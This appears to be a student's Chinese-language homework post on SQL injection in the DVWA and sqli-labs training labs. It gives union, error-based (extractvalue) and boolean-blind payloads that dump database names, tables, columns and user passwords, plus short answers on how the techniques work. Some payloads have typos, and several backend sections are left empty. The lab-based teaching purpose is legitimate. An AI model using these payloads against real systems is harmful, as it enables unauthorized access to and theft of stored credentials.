9.28

网络安全C10-2024.9.28

作业:

  • 在不依赖于DVWA后端数据库的情况,如何通过前端验证的方法判断DVWA中的注入点是数字型注入还是字符型注入?(提示:用假设法进行逻辑判断)

在对注入点判断是哪种类型时,我们可以通过不断地尝试来进行判断,列入:1 1’--+  1”--+

  1. --+ 1’)--+   1”)--+  1 and 1=2  1’ and 1=2 来尝试,加入其中输入某项错误的但页面放回正确,可以以此来进行突破判断

注意

当输入1 and 1=1时有两种情况

1数字型

  1. 输入内容没有被网站做任何处理,能查询到
  2. 输入内容被网站做任何处理,通过隐式查询依然能查询到

2.字符型   :   查询不到

 

 

当输入1 and 1=2时有两种情况

1数字型

  1. 输入内容没有被网站做任何处理,查询不到
  2. 输入内容被网站做任何处理,能查询到

2.字符型   :   查询不到

 

  • 分别在前端和后端使用联合注入实现“库名-表名-字段名-数据”的注入过程,写清楚注入步骤。

数字型

前端

判断字段为2个

爆库名

表名

-1 union select group_concat(table_name),2 from information_schema.tables where table_name=database()#

字段名

-1 union select group_concat(coulmn),2 from information_schema.columns where table_name=users#

数据

1' union select username,password from users#

后端

 

爆库名

 

 

表名

 

字段名

 

数据

  • 分别在前端和后端使用报错注入实现“库名-表名-字段名-数据”的注入过程,写清楚注入步骤。

前端

爆库

uname=1') and extractvalue(1,concat(0x7e,database()))#&passwd=sdfsad&submit=Submit

 

爆表数

uname=1') and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables  where table_schema=database())))#

 

爆表名

uname=1') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables  where table_schema=database())))#

 

 

爆列名

uname=1') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns  where table_schema=database() and table_name='users')))#

 

报数据

uname=1') and extractvalue(1,concat(0x7e,(select group_concat(username) from users  )))#

 

uname=1') and extractvalue(1,concat(0x7e,(select group_concat(password) from users  )))#

 

 

 

 

 

 

 

后端

爆库

 

爆表数

 

爆表名

 

爆列名

 

报数据

 

 

 

回答下列关于报错注入的问题:

  • 在extractvalue函数中,为什么'~'写在参数1的位置不报错,而写在参数2的位置报错?

答:参数一位置表示的是字符串(返回xml文档的名称),参数二表示的是xml文件的路径也是字符串,但是路径不包含~,不符合函数语法规则的报错。

 

  • 报错注入中,为什么要突破单引号的限制,如何突破?

答:报错注入是用函数语法规则引起的报错,在使用单引号时,有些网站在前端会对单引号进行过滤,使得代码无效,但是MySQL可以使用16进制的可以用0x7e来表示。

 

  • 在报错注入过程中,为什么要进行报错,是哪种类型的报错?

答:报错注入过程是因为前端没有给你返回相应的类容,只有页面上返回的报错的问题

,是数据库语法上的报错

  • 任选布尔盲注或者时间盲注在前端和后端实现“库名-表名”的注入过程,写清楚注入步骤。

前端(总体步骤省略)

爆库名

先判断长度

1'  and length((select database()))<1#

后确定字符

1'  and ascii(substr(database(),1,1))=100#

 

爆表名

1'  and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=100#

 

爆列名(注意单引号,要与靶场一致,最好靶场输入)

 

 

1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=103#

 

报数据

1' and ascii(substr((select password from users limit 0,1),1,1))>10;#

 

 

 

后端

爆库名

后确定字符

 

爆表名

爆字段

爆内容

posted @ 2024-10-13 11:38  雷子暑假结束  阅读(15)  评论(0)    收藏  举报